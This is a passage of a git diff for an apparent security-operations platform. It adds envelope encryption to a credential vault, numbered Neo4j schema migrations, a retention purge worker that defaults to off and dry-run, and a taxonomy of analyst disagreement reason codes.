+ "confirm_tenant_id must match the tenant being deleted. " "This operation is irreversible; run with dry_run=true first."
+ ),
+ )
+
+ report = await delete_tenant(db, tenant_id, dry_run=request.dry_run)
+
+ if not request.dry_run and not report.complete:
+ # 207: Postgres rolled back, but a satellite store may have deleted
+ # before another failed. Reporting 200 would tell an operator the
+ # erase succeeded when it partially did.
+ raise HTTPException(
+ status_code=status.HTTP_207_MULTI_STATUS,
+ detail=report.as_dict(),
+ )
+
+ return report.as_dict()
+
+
@router.get("/me/users", response_model=list[UserResponse])
async def list_users(
current_user: Annotated[AuthUser, Depends(require_permission("users:read"))],
diff --git a/services/api/app/core/config.py b/services/api/app/core/config.py
index 59d913b35..c92640b50 100644
--- a/services/api/app/core/config.py
+++ b/services/api/app/core/config.py
@@ -167,6 +167,25 @@ class Settings(BaseSettings):
AISOC_CREDENTIAL_KEY: str = ""
AISOC_CREDENTIAL_KEY_ROTATION_FROM: str = ""
+ # Envelope encryption (``vault:v2``). When enabled each secret gets its own
+ # data-encryption key, and only the *wrapped* DEK is stored alongside the
+ # ciphertext — so a database dump is useless without the ability to unwrap,
+ # and one leaked DEK exposes one secret rather than the whole vault.
+ #
+ # off — Fernet under AISOC_CREDENTIAL_KEY (default; ``vault:v1``)
+ # local — DEKs wrapped by a KEK held in AISOC_CREDENTIAL_KEK. Better blast
+ # radius than v1, but the KEK is still on the host.
+ # aws — DEKs wrapped by AWS KMS; the KEK never leaves the HSM.
+ #
+ # Reads are always backward compatible: a ``vault:v1`` token written before
+ # this was enabled still decrypts under AISOC_CREDENTIAL_KEY. Turning it on
+ # is therefore safe without a migration; existing rows upgrade to v2 the
+ # next time they are written.
+ AISOC_CREDENTIAL_ENVELOPE: str = "off"
+ AISOC_CREDENTIAL_KEK: str = ""
+ AISOC_CREDENTIAL_KEK_ROTATION_FROM: str = ""
+ AISOC_KMS_KEY_ID: str = ""
+
# Internal URL for the connectors microservice. The API service proxies
# catalog lookups (``GET /connectors``) and stateless connection tests
# (``POST /connectors/{type}/test``) to this URL so the wizard UI can
@@ -259,6 +278,31 @@ class Settings(BaseSettings):
)
HUNT_SCHEDULER_POLL_INTERVAL_SECONDS: int = 30
+ # Retention purge worker. Applies each tenant's configured retention
+ # window by deleting aged rows from the ClickHouse lake and the Postgres
+ # alerts table.
+ #
+ # Default **off**, and dry-run when first switched on. Retention policies
+ # have been storable (and described as enforced) for several releases
+ # while nothing deleted anything, so arming this on upgrade would turn a
+ # version bump into unannounced data loss. Enable it deliberately, read
+ # the dry-run counts, then set RETENTION_WORKER_DRY_RUN=false.
+ #
+ # Only tenants with an explicit `retention_policies` row are purged; the
+ # defaults in app.services.retention pre-fill a form, they are not an
+ # instruction to delete. `audit_days` is stored but not purged — the audit
+ # log is an append-only hash chain and truncating it invalidates every
+ # subsequent verification.
+ RETENTION_WORKER_ENABLED: bool = Field(
+ default=False,
+ validation_alias=AliasChoices("RETENTION_WORKER_ENABLED", "AISOC_RETENTION_WORKER_ENABLED"),
+ )
+ RETENTION_WORKER_DRY_RUN: bool = Field(
+ default=True,
+ validation_alias=AliasChoices("RETENTION_WORKER_DRY_RUN", "AISOC_RETENTION_WORKER_DRY_RUN"),
+ )
+ RETENTION_WORKER_INTERVAL_SECONDS: int = 21600 # 6h
+
# Database
# The default points at the bundled compose Postgres with its dev password.
# In docker-compose.yml and .env.example the password is parameterised via
diff --git a/services/api/app/db/graph_migrations.py b/services/api/app/db/graph_migrations.py
new file mode 100644
index 000000000..53e9b0ad0
--- /dev/null
+++ b/services/api/app/db/graph_migrations.py
@@ -0,0 +1,228 @@
+"""Versioned schema migrations for Neo4j.
+
+There was no migration mechanism for any of the non-Postgres stores. Neo4j's
+schema was a fixed list of ``CREATE … IF NOT EXISTS`` statements run at boot
+with every failure swallowed at ``debug`` level. Three consequences, all of
+which bite only on an existing deployment:
+
+* **No way to change anything.** The list only creates. A property that needs
+ backfilling, a constraint that needs replacing, an index that needs
+ dropping — none are expressible, so a schema change lands on fresh installs
+ and silently never lands on the deployments that have data.
+* **No record of what was applied.** ``IF NOT EXISTS`` makes every run look
+ identical whether the statement ran today or a year ago, so there is no way
+ to ask a deployment which shape it is in.
+* **Failures were invisible.** A constraint that cannot be created because
+ existing data violates it logged at ``debug`` and the boot continued. The
+ deployment then runs without the uniqueness guarantee the code assumes.
+
+This module is the Neo4j counterpart to ``app.scripts.run_migrations``:
+forward-only, numbered, recorded, and loud. Applied migrations are tracked as
+``(:_AisocGraphMigration {id})`` nodes, which is the only state Neo4j offers
+for this.
+
+Adding a migration: append to ``MIGRATIONS``. Never edit or renumber an
+existing one — a deployment that already recorded it will skip the edit, so
+the two deployments diverge with no signal.
+"""
+
+from __future__ import annotations
+
+import logging
+from collections.abc import Awaitable, Callable
+from dataclasses import dataclass, field
+from typing import Any
+
+logger = logging.getLogger("aisoc.graph_migrations")
+
+MIGRATION_LABEL = "_AisocGraphMigration"
+
+
+@dataclass(frozen=True)
+class GraphMigration:
+ """One forward-only change to the graph schema.
+
+ ``statements`` run in order. ``backfill`` runs after them and receives the
+ session, for changes that need to touch data rather than schema — the
+ thing the previous boot-time list could not express at all.
+
+ ``allow_failure`` exists for statements that are genuinely optional on
+ some Neo4j editions (full-text index syntax differs, vector indexes need
+ 5.13+). It is deliberately per-migration and off by default, because the
+ old code applied it to everything.
+ """
+
+ id: str
+ description: str
+ statements: tuple[str, ...] = ()
+ backfill: Callable[[Any], Awaitable[int]] | None = None
+ allow_failure: bool = False
+ tags: tuple[str, ...] = field(default_factory=tuple)
+
+
+# ── 001: the pre-existing boot-time schema, captured as a migration ─────────
+# Identical to what _create_schema() ran, so an existing deployment records
+# 001 as applied and converges rather than re-running unknown statements.
+_V1_CORE = (
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (h:Host) REQUIRE h.id IS UNIQUE",
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (u:User) REQUIRE u.id IS UNIQUE",
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (a:Alert) REQUIRE a.id IS UNIQUE",
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (i:IOC) REQUIRE i.value IS UNIQUE",
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (t:Technique) REQUIRE t.technique_id IS UNIQUE",
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (c:Case) REQUIRE c.id IS UNIQUE",
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (p:Process) REQUIRE p.id IS UNIQUE",
+ "CREATE INDEX IF NOT EXISTS FOR (h:Host) ON (h.hostname)",
+ "CREATE INDEX IF NOT EXISTS FOR (h:Host) ON (h.tenant_id)",
+ "CREATE INDEX IF NOT EXISTS FOR (u:User) ON (u.username)",
+ "CREATE INDEX IF NOT EXISTS FOR (u:User) ON (u.tenant_id)",
+ "CREATE INDEX IF NOT EXISTS FOR (a:Alert) ON (a.tenant_id)",
+ "CREATE INDEX IF NOT EXISTS FOR (a:Alert) ON (a.severity)",
+ "CREATE INDEX IF NOT EXISTS FOR (i:IOC) ON (i.ioc_type)",
+ "CREATE INDEX IF NOT EXISTS FOR (i:IOC) ON (i.tenant_id)",
+ "CREATE INDEX IF NOT EXISTS FOR (t:Technique) ON (t.tactic)",
+)
+
+# ── 002: schema v1.1 context depth ──────────────────────────────────────────
+# Every tenant-scoped label gets a tenant_id index, because tenant-scoped
+# reads filter on it at every node of every path. Without the index those
+# traversals degrade to a label scan, and the incident traversal touches five
+# labels per hop.
+_V11_CONTEXT = (
+ # Identity depth
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (e:Employee) REQUIRE e.id IS UNIQUE",
+ "CREATE INDEX IF NOT EXISTS FOR (e:Employee) ON (e.tenant_id)",
+ "CREATE INDEX IF NOT EXISTS FOR (e:Employee) ON (e.email)",
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (d:Department) REQUIRE d.id IS UNIQUE",
+ "CREATE INDEX IF NOT EXISTS FOR (d:Department) ON (d.tenant_id)",
+ # Asset depth
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (v:Vulnerability) REQUIRE v.id IS UNIQUE",
+ "CREATE INDEX IF NOT EXISTS FOR (v:Vulnerability) ON (v.cve_id)",
+ # Known-exploited is the field that changes triage priority, so it is
+ # indexed rather than filtered after the fact.
+ "CREATE INDEX IF NOT EXISTS FOR (v:Vulnerability) ON (v.known_exploited)",
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (app:Application) REQUIRE app.id IS UNIQUE",
+ "CREATE INDEX IF NOT EXISTS FOR (app:Application) ON (app.tenant_id)",
+ "CREATE INDEX IF NOT EXISTS FOR (app:Application) ON (app.criticality)",
+ # Cloud depth
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (ca:CloudAccount) REQUIRE ca.id IS UNIQUE",
+ "CREATE INDEX IF NOT EXISTS FOR (ca:CloudAccount) ON (ca.tenant_id)",
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (s:Secret) REQUIRE s.id IS UNIQUE",
+ "CREATE INDEX IF NOT EXISTS FOR (s:Secret) ON (s.tenant_id)",
+ # Threat depth. Malware/Campaign/ThreatActor/Tactic are global reference
+ # data and carry no tenant_id, so they get no tenant index — the absence
+ # is deliberate and matches the read-scope exemption.
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (m:Malware) REQUIRE m.id IS UNIQUE",
+ "CREATE INDEX IF NOT EXISTS FOR (m:Malware) ON (m.name)",
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (c:Campaign) REQUIRE c.id IS UNIQUE",
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (ta:ThreatActor) REQUIRE ta.id IS UNIQUE",
+ "CREATE INDEX IF NOT EXISTS FOR (ta:ThreatActor) ON (ta.name)",
+ "CREATE CONSTRAINT IF NOT EXISTS FOR (tac:Tactic) REQUIRE tac.id IS UNIQUE",
+)
+
+
+MIGRATIONS: tuple[GraphMigration, ...] = (
+ GraphMigration(
+ id="001_core_constraints",
+ description="Baseline constraints and indexes (previously applied at boot)",
+ statements=_V1_CORE,
+ ),
+ GraphMigration(
+ id="002_schema_v1_1_context_depth",
+ description=(
+ "Schema v1.1: identity, asset, cloud, business and threat context " "labels with tenant_id indexes for scoped traversal"
+ ),
+ statements=_V11_CONTEXT,
+ tags=("v1.1",),
+ ),
+)
+
+
+async def applied_ids(session: Any) -> set[str]:
+ """Migration ids this database has recorded."""
+ result = await session.run(f"MATCH (m:{MIGRATION_LABEL}) RETURN m.id AS id")
+ records = await result.data()
+ return {r["id"] for r in records if r.get("id")}
+
+
+async def _record(session: Any, migration: GraphMigration, applied_count: int) -> None:
+ await session.run(
+ f"MERGE (m:{MIGRATION_LABEL} {{id: $id}}) "
+ "SET m.description = $description, m.applied_at = datetime(), "
+ "m.statements = $statements, m.backfilled = $backfilled",
+ id=migration.id,
+ description=migration.description,
+ statements=len(migration.statements),
+ backfilled=applied_count,
+ )
+
+
+async def run_migrations(session: Any, *, strict: bool = True) -> list[str]:
+ """Apply every unapplied migration in order. Returns the ids applied.
+
+ ``strict`` (the default) re-raises the first failure. The previous code
+ swallowed everything at ``debug``, so a deployment could boot without a
+ uniqueness constraint the application assumes and nothing said so. Set
+ ``strict=False`` only where a degraded graph is genuinely preferable to a
+ failed boot, and expect the warning in the log to be acted on.
+ """
+ already = await applied_ids(session)
+ applied: list[str] = []
+
+ for migration in MIGRATIONS:
+ if migration.id in already:
+ continue
+
+ logger.info("graph migration applying id=%s (%s)", migration.id, migration.description)
+ for cypher in migration.statements:
+ try:
+ await session.run(cypher)
+ except Exception as exc:
+ if migration.allow_failure:
+ logger.warning(
+ "graph migration id=%s statement skipped (allow_failure): %s — %s",
+ migration.id,
+ cypher[:80],
+ type(exc).__name__,
+ )
+ continue
+ logger.error(
+ "graph migration id=%s FAILED on: %s — %s: %s",
+ migration.id,
+ cypher[:120],
+ type(exc).__name__,
+ exc,
+ )
+ if strict:
+ raise
+ break
+ else:
+ backfilled = 0
+ if migration.backfill is not None:
+ try:
+ backfilled = await migration.backfill(session)
+ logger.info("graph migration id=%s backfilled %d node(s)", migration.id, backfilled)
+ except Exception as exc:
+ logger.error(
+ "graph migration id=%s backfill FAILED — %s: %s",
+ migration.id,
+ type(exc).__name__,
+ exc,
+ )
+ if strict:
+ raise
+ continue
+
+ await _record(session, migration, backfilled)
+ applied.append(migration.id)
+
+ if applied:
+ logger.info("graph migrations applied: %s", ", ".join(applied))
+ else:
+ logger.info("graph migrations: up to date (%d recorded)", len(already))
+ return applied
+
+
+async def pending_ids(session: Any) -> list[str]:
+ """Migration ids not yet applied. For diagnostics and health output."""
+ already = await applied_ids(session)
+ return [m.id for m in MIGRATIONS if m.id not in already]
diff --git a/services/api/app/db/neo4j.py b/services/api/app/db/neo4j.py
index 23ffbe7d4..dbe3efac8 100644
--- a/services/api/app/db/neo4j.py
+++ b/services/api/app/db/neo4j.py
@@ -14,6 +14,7 @@ from neo4j import AsyncDriver, AsyncGraphDatabase, AsyncSession
from neo4j.exceptions import ServiceUnavailable
from app.core.config import settings
+from app.db.graph_migrations import pending_ids, run_migrations
logger = logging.getLogger(__name__)
@@ -77,33 +78,30 @@ async def get_session() -> AsyncGenerator[AsyncSession, None]:
async def _create_schema() -> None:
- """Create constraints and indexes for the graph schema."""
- constraints = [
- # Uniqueness constraints
- "CREATE CONSTRAINT IF NOT EXISTS FOR (h:Host) REQUIRE h.id IS UNIQUE",
- "CREATE CONSTRAINT IF NOT EXISTS FOR (u:User) REQUIRE u.id IS UNIQUE",
- "CREATE CONSTRAINT IF NOT EXISTS FOR (a:Alert) REQUIRE a.id IS UNIQUE",
- "CREATE CONSTRAINT IF NOT EXISTS FOR (i:IOC) REQUIRE i.value IS UNIQUE",
- "CREATE CONSTRAINT IF NOT EXISTS FOR (t:Technique) REQUIRE t.technique_id IS UNIQUE",
- "CREATE CONSTRAINT IF NOT EXISTS FOR (c:Case) REQUIRE c.id IS UNIQUE",
- "CREATE CONSTRAINT IF NOT EXISTS FOR (p:Process) REQUIRE p.id IS UNIQUE",
- # Indexes for common lookups
- "CREATE INDEX IF NOT EXISTS FOR (h:Host) ON (h.hostname)",
- "CREATE INDEX IF NOT EXISTS FOR (h:Host) ON (h.tenant_id)",
- "CREATE INDEX IF NOT EXISTS FOR (u:User) ON (u.username)",
- "CREATE INDEX IF NOT EXISTS FOR (u:User) ON (u.tenant_id)",
- "CREATE INDEX IF NOT EXISTS FOR (a:Alert) ON (a.tenant_id)",
- "CREATE INDEX IF NOT EXISTS FOR (a:Alert) ON (a.severity)",
- "CREATE INDEX IF NOT EXISTS FOR (i:IOC) ON (i.ioc_type)",
- "CREATE INDEX IF NOT EXISTS FOR (i:IOC) ON (i.tenant_id)",
- "CREATE INDEX IF NOT EXISTS FOR (t:Technique) ON (t.tactic)",
- ]
-
+ """Apply any pending graph migrations.
+
+ This used to be a fixed list of ``CREATE … IF NOT EXISTS`` statements with
+ every failure swallowed at ``debug``, which meant a schema change could
+ only ever land on a fresh install and a constraint that failed to create
+ left the deployment running without a guarantee the code assumes. The
+ statements now live in ``app.db.graph_migrations`` as numbered, recorded,
+ forward-only migrations.
+
+ Non-strict here on purpose: a migration failure must not take the API
+ down, because the graph is an enrichment surface and the rest of the
+ platform works without it. It is logged at ``error`` rather than
+ ``debug``, and the pending list is readable for diagnostics.
+ """
async with get_session() as session:
- for cypher in constraints:
- try:
- await session.run(cypher)
- except Exception as exc:
- logger.debug("Schema statement skipped cypher=%s error=%s", cypher[:60], exc)
-
- logger.info("Neo4j schema constraints and indexes ensured")
+ applied = await run_migrations(session, strict=False)
+ pending = await pending_ids(session)
+
+ if applied:
+ logger.info("Neo4j graph migrations applied: %s", ", ".join(applied))
+ if pending:
+ logger.error(
+ "Neo4j graph migrations still pending after startup: %s — " "graph-backed features may be degraded",
+ ", ".join(pending),
+ )
+ else:
+ logger.info("Neo4j schema up to date")
diff --git a/services/api/app/main.py b/services/api/app/main.py
index 619546a10..6d479473d 100644
--- a/services/api/app/main.py
+++ b/services/api/app/main.py
@@ -33,6 +33,7 @@ from app.models import Base
from app.services.plugin_manager import get_plugin_manager
from app.workers.hunt_scheduler import run_forever as run_hunt_scheduler
from app.workers.oauth_refresh import run_forever as run_oauth_refresh
+from app.workers.retention_purge import run_forever as run_retention_purge
from app.workers.weekly_digest_task import run_forever as run_weekly_digest
_metrics_bearer = HTTPBearer(auto_error=False)
@@ -50,6 +51,10 @@ _WEEKLY_DIGEST_LOCK_TTL_SECONDS = 5400
# Hunt sweep can execute multiple saved hunts + case opens in one tick; 5m
# covers slow sweeps while still recovering quickly after replica loss.
_HUNT_SCHEDULER_LOCK_TTL_SECONDS = 300
+# A purge sweep scans and deletes across every tenant with a policy, and a
+# ClickHouse mutation with mutations_sync=1 blocks until it lands. 30m keeps
+# a second replica from starting a concurrent sweep mid-delete.
+_RETENTION_PURGE_LOCK_TTL_SECONDS = 1800
async def _run_guarded_scheduler_worker(
@@ -383,6 +388,27 @@ async def lifespan(app: FastAPI) -> AsyncGenerator[None, None]:
# T3.4: Saved-hunt scheduler. Sweeps aisoc_saved_hunts on a tick and
# fires any hunt whose cron schedule says it's due. Default off until
# the executor is wired (see app.workers.hunt_scheduler TODO).
+ # Retention purge. Default off: retention policies were storable (and
+ # documented as enforced) long before anything deleted, so switching this
+ # on by default would turn an upgrade into unannounced data loss.
+ retention_purge_task: asyncio.Task | None = None
+ if settings.RETENTION_WORKER_ENABLED:
+ try:
+ retention_purge_task = asyncio.create_task(
+ _run_guarded_scheduler_worker(
+ job_name="retention_purge",
+ ttl_seconds=_RETENTION_PURGE_LOCK_TTL_SECONDS,
+ worker=run_retention_purge,
+ ),
+ name="retention_purge_worker",
+ )
+ logger.info(
+ "retention_purge worker started",
+ dry_run=settings.RETENTION_WORKER_DRY_RUN,
+ )
+ except Exception as exc:
+ logger.warning("retention_purge worker failed to start", error=str(exc))
+
hunt_scheduler_task: asyncio.Task | None = None
if settings.HUNT_SCHEDULER_ENABLED:
try:
@@ -439,6 +465,15 @@ async def lifespan(app: FastAPI) -> AsyncGenerator[None, None]:
except Exception as exc:
logger.warning("hunt_scheduler worker shutdown error", error=type(exc).__name__)
+ if retention_purge_task is not None and not retention_purge_task.done():
+ retention_purge_task.cancel()
+ try:
+ await retention_purge_task
+ except asyncio.CancelledError:
+ logger.debug("retention_purge worker cancelled during shutdown")
+ except Exception as exc:
+ logger.warning("retention_purge worker shutdown error", error=type(exc).__name__)
+
if demo_bootstrap_task is not None and not demo_bootstrap_task.done():
demo_bootstrap_task.cancel()
try:
diff --git a/services/api/app/security/credential_vault.py b/services/api/app/security/credential_vault.py
index 9c4092d0f..becc0b7f7 100644
--- a/services/api/app/security/credential_vault.py
+++ b/services/api/app/security/credential_vault.py
@@ -44,6 +44,12 @@ from typing import Any, Final
from cryptography.fernet import Fernet, InvalidToken, MultiFernet
from app.core.config import is_dev_env, settings
+from app.security.envelope_cipher import (
+ AwsKmsKeyManager,
+ EnvelopeCipher,
+ EnvelopeError,
+ LocalKeyManager,
+)
logger = logging.getLogger("aisoc.credential_vault")
@@ -55,6 +61,11 @@ logger = logging.getLogger("aisoc.credential_vault")
# can never accidentally interpret a real ciphertext as plaintext.
_CIPHER_PREFIX: Final[str] = "vault:v1:"
+# Envelope tokens (per-secret DEK, wrapped by a KEK). Reads always accept
+# both prefixes; which one a *write* produces depends on configuration.
+# See ``app.security.envelope_cipher``.
+_ENVELOPE_PREFIX: Final[str] = "vault:v2:"
+
class CredentialVaultError(RuntimeError):
"""Raised when the vault cannot encrypt/decrypt safely.
@@ -88,7 +99,12 @@ class CredentialVault:
don't race to generate a development-only ephemeral key.
"""
- def __init__(self, primary_key: bytes, historical_keys: list[bytes] | None = None) -> None:
+ def __init__(
+ self,
+ primary_key: bytes,
+ historical_keys: list[bytes] | None = None,
+ envelope: EnvelopeCipher | None = None,
+ ) -> None:
if not primary_key:
raise CredentialVaultError("CredentialVault requires a non-empty primary key")
try:
@@ -107,6 +123,34 @@ class CredentialVault:
logger.warning("ignoring invalid rotation key: %s", exc)
self._fernet = MultiFernet(keyring) if len(keyring) > 1 else primary
+ # When set, new writes are envelope-encrypted. The Fernet keyring
+ # stays live regardless so v1 rows written before the switch still
+ # read — enabling envelope mode must never strand existing secrets.
+ self._envelope = envelope
+
+ @classmethod
+ def with_envelope(
+ cls,
+ primary_key: bytes,
+ envelope: EnvelopeCipher,
+ *,
+ historical_keys: list[bytes] | None = None,
+ ) -> CredentialVault:
+ """Build a vault whose *writes* are envelope-encrypted.
+
+ A named constructor rather than a keyword argument on ``__init__``.
+ Four modules in this repo are importable as
+ ``app.security.credential_vault`` — the API owns the write path and
+ services/actions, agents and connectors ship vendored read-path
+ copies — so a call site passing ``envelope=`` is ambiguous to any
+ reader, and to static analysis, about which class it means. The
+ vendored copies have no such classmethod, which makes the intent
+ unambiguous at the call site.
+
+ Reads remain backward compatible either way: a ``vault:v1`` token
+ written before envelope mode was enabled still decrypts.
+ """
+ return cls(primary_key, historical_keys=historical_keys, envelope=envelope)
# --------------------------------------------------------------------- core
@@ -118,8 +162,15 @@ class CredentialVault:
"""
if not isinstance(value, str):
raise CredentialVaultError(f"vault.encrypt expects str, got {type(value).__name__}")
- if value.startswith(_CIPHER_PREFIX):
+ if value.startswith(_CIPHER_PREFIX) or value.startswith(_ENVELOPE_PREFIX):
return value
+ if self._envelope is not None:
+ try:
+ return self._envelope.encrypt(value)
+ except EnvelopeError as exc:
+ # Falling back to v1 here would quietly downgrade the control
+ # an operator explicitly enabled, so refuse instead.
+ raise CredentialVaultError(f"envelope encryption failed: {exc}") from exc
token = self._fernet.encrypt(value.encode("utf-8")).decode("ascii")
return f"{_CIPHER_PREFIX}{token}"
@@ -132,6 +183,17 @@ class CredentialVault:
"""
if not isinstance(value, str):
raise CredentialVaultError(f"vault.decrypt expects str, got {type(value).__name__}")
+ if value.startswith(_ENVELOPE_PREFIX):
+ if self._envelope is None:
+ raise CredentialVaultError(
+ "found a vault:v2 envelope token but envelope encryption is disabled. "
+ "Set AISOC_CREDENTIAL_ENVELOPE (and the matching KEK) to the "
+ "configuration these secrets were written under."
+ )
+ try:
+ return self._envelope.decrypt(value)
+ except EnvelopeError as exc:
+ raise CredentialVaultError(f"envelope decrypt failed: {exc}") from exc
if not value.startswith(_CIPHER_PREFIX):
return value
token = value[len(_CIPHER_PREFIX) :].encode("ascii")
@@ -187,6 +249,43 @@ _vault_singleton: CredentialVault | None = None
_vault_lock = Lock()
+def _build_envelope() -> EnvelopeCipher | None:
+ """Construct the envelope cipher from configuration, or ``None`` when off.
+
+ Refuses to start rather than silently degrading: an operator who sets
+ AISOC_CREDENTIAL_ENVELOPE=aws and mistypes the key id should get a boot
+ failure, not connector secrets written under the weaker v1 scheme while
+ the deployment believes KMS is in the path.
+ """
+ mode = (settings.AISOC_CREDENTIAL_ENVELOPE or "off").strip().lower()
+ if mode in ("", "off", "false", "0", "none"):
+ return None
+
+ if mode == "local":
+ kek = (settings.AISOC_CREDENTIAL_KEK or "").strip().encode("ascii")
+ if not kek:
+ raise CredentialVaultError(
+ "AISOC_CREDENTIAL_ENVELOPE=local requires AISOC_CREDENTIAL_KEK "
+ "(a Fernet key). Generate one with: python -c "
+ '"from cryptography.fernet import Fernet; print(Fernet.generate_key().decode())"'
+ )
+ historical: dict[str, bytes] = {}
+ for index, key in enumerate(_split_keys(settings.AISOC_CREDENTIAL_KEK_ROTATION_FROM or "")):
+ historical[f"local-{index}"] = key
+ try:
+ return EnvelopeCipher(LocalKeyManager(kek, historical=historical or None))
+ except EnvelopeError as exc:
+ raise CredentialVaultError(f"invalid AISOC_CREDENTIAL_KEK: {exc}") from exc
+
+ if mode in ("aws", "kms", "aws-kms"):
+ key_id = (settings.AISOC_KMS_KEY_ID or "").strip()
+ if not key_id:
+ raise CredentialVaultError("AISOC_CREDENTIAL_ENVELOPE=aws requires AISOC_KMS_KEY_ID " "(a KMS key id, alias or ARN).")
+ return EnvelopeCipher(AwsKmsKeyManager(key_id))
+
+ raise CredentialVaultError(f"AISOC_CREDENTIAL_ENVELOPE={mode!r} is not recognised; expected off, local or aws.")
+
+
def get_vault() -> CredentialVault:
"""Return the process-wide :class:`CredentialVault`.
@@ -223,7 +322,13 @@ def get_vault() -> CredentialVault:
" and set AISOC_CREDENTIAL_KEY."
)
rotation = _split_keys(settings.AISOC_CREDENTIAL_KEY_ROTATION_FROM or "")
- _vault_singleton = CredentialVault(primary, historical_keys=rotation)
+ envelope = _build_envelope()
+ if envelope is not None:
+ logger.info(
+ "credential vault: envelope encryption enabled (%s); new writes use vault:v2",
+ (settings.AISOC_CREDENTIAL_ENVELOPE or "").strip().lower(),
+ )
+ _vault_singleton = CredentialVault(primary, historical_keys=rotation, envelope=envelope)
return _vault_singleton
diff --git a/services/api/app/services/analyst_feedback.py b/services/api/app/services/analyst_feedback.py
new file mode 100644
index 000000000..d2d68927c
--- /dev/null
+++ b/services/api/app/services/analyst_feedback.py
@@ -0,0 +1,388 @@
+"""Analyst disagreement as structured data, compiled into organisation memory.
+
+When an analyst overturns a verdict, the platform records the new
+disposition and discards the only part that generalises: *why*. Free-text
+notes do not generalise either — nobody queries them, and the next identical
+alert is triaged with no knowledge that this one was overturned.
+
+The useful unit is the reason, and there are not many of them. An analyst
+saying "benign, known admin tool" and an analyst saying "benign, approved
+penetration test" are teaching the platform two different things: the first
+is permanent and about a binary, the second is temporary and about a window.
+A free-text field flattens them into the same nothing.
+
+So the taxonomy is closed and small, and each code carries its own scope and
+lifetime. From a handful of tagged disagreements the platform compiles a
+durable statement — "PowerShell launched by svc_backup on BACKUP01 is
+expected during the 02:00 backup window" — which is organisation memory
+rather than a fine-tune, and which an analyst can read, argue with and
+delete.
+
+Two things this deliberately does not do:
+
+**It does not auto-suppress on one disagreement.** One analyst calling one
+alert benign is an opinion; the same reason recurring is a pattern. The
+corroboration threshold lives here rather than in the consumer so it cannot
+be quietly lowered per caller.
+
+**It does not let a reason code outlive its scope.** An approved penetration
+test is true for a week. Baking it in permanently is how a SOC ends up with
+a suppression nobody can explain and nobody dares remove.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import uuid
+from dataclasses import dataclass
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+from sqlalchemy import text
+from sqlalchemy.ext.asyncio import AsyncSession
+
+logger = logging.getLogger("aisoc.analyst_feedback")
+
+
+@dataclass(frozen=True)
+class ReasonCode:
+ """One way an analyst can disagree, and what it implies.
+
+ ``generalises`` is the load-bearing field. "Bad detection logic" says
+ something about the *rule* and should reach whoever owns it; "expected
+ service account" says something about one principal on one host. Treating
+ them alike either over-suppresses or wastes the signal.
+ """
+
+ code: str
+ label: str
+ description: str
+ #: What the statement should be scoped to when compiled.
+ scope: str # rule | entity | binary | tenant
+ #: Days before the derived memory expires. None means it does not.
+ ttl_days: int | None
+ #: How many independent analysts must say this before it is trusted.
+ corroboration: int
+ #: Whether this should open detection-engineering work rather than a
+ #: suppression. A noisy rule is not fixed by remembering it is noisy.
+ routes_to_detection_engineering: bool = False
+
+
+REASON_CODES: dict[str, ReasonCode] = {
+ "known_admin_tool": ReasonCode(
+ code="known_admin_tool",
+ label="Known administrative tool",
+ description="Legitimate admin tooling that resembles attacker tooling.",
+ scope="binary",
+ ttl_days=None,
+ corroboration=2,
+ ),
+ "approved_pentest": ReasonCode(
+ code="approved_pentest",
+ label="Approved penetration test",
+ description="Authorised offensive testing during an agreed window.",
+ scope="tenant",
+ # Deliberately short. A pentest exclusion that outlives the pentest
+ # is an attacker's best friend, and nobody remembers to remove it.
+ ttl_days=14,
+ corroboration=1,
+ ),
+ "expected_service_account": ReasonCode(
+ code="expected_service_account",
+ label="Expected service-account behaviour",
+ description="A service account doing what it is provisioned to do.",
+ scope="entity",
+ ttl_days=180,
+ corroboration=2,
+ ),
+ "known_scanner": ReasonCode(
+ code="known_scanner",
+ label="Known vulnerability scanner",
+ description="Authorised scanning infrastructure.",
+ scope="entity",
+ ttl_days=365,
+ corroboration=1,
+ ),
+ "business_application": ReasonCode(
+ code="business_application",
+ label="Sanctioned business application",
+ description="A sanctioned application whose behaviour resembles a threat.",
+ scope="binary",
+ ttl_days=365,
+ corroboration=2,
+ ),
+ "bad_detection_logic": ReasonCode(
+ code="bad_detection_logic",
+ label="Bad detection logic",
+ description="The rule is wrong, not the environment.",
+ scope="rule",
+ ttl_days=None,
+ corroboration=2,
+ # Suppressing a broken rule's output hides the defect and keeps
+ # paying its cost on every future alert. Fix the rule.
+ routes_to_detection_engineering=True,
+ ),
+ "missing_context": ReasonCode(
+ code="missing_context",
+ label="Missing context",
+ description=("The verdict was reasonable given what the platform could see, and " "wrong given what the analyst could see."),
+ scope="rule",
+ ttl_days=None,
+ corroboration=1,
+ # The fix is a connector or a graph edge, not a suppression. This is
+ # the most valuable code in the taxonomy and the easiest to waste.
+ routes_to_detection_engineering=True,
+ ),
+ "true_positive_confirmed": ReasonCode(
+ code="true_positive_confirmed",
+ label="Confirmed true positive",
+ description="The analyst agrees, or escalates a verdict the platform under-called.",
+ scope="rule",
+ ttl_days=None,
+ corroboration=1,
+ ),
+}
+
+
+@dataclass
+class ContextStatement:
+ """A durable, human-readable fact compiled from repeated disagreement.
+
+ Readable on purpose. A suppression nobody can explain is one nobody dares
+ remove, and it accumulates.
+ """
+
+ tenant_id: str
+ statement: str
+ reason_code: str
+ scope: str
+ scope_value: str
+ observations: int
+ expires_at: datetime | None
+ routes_to_detection_engineering: bool
+
+ def as_dict(self) -> dict[str, Any]:
+ return {
+ "tenant_id": self.tenant_id,
+ "statement": self.statement,
+ "reason_code": self.reason_code,
+ "scope": self.scope,
+ "scope_value": self.scope_value,
+ "observations": self.observations,
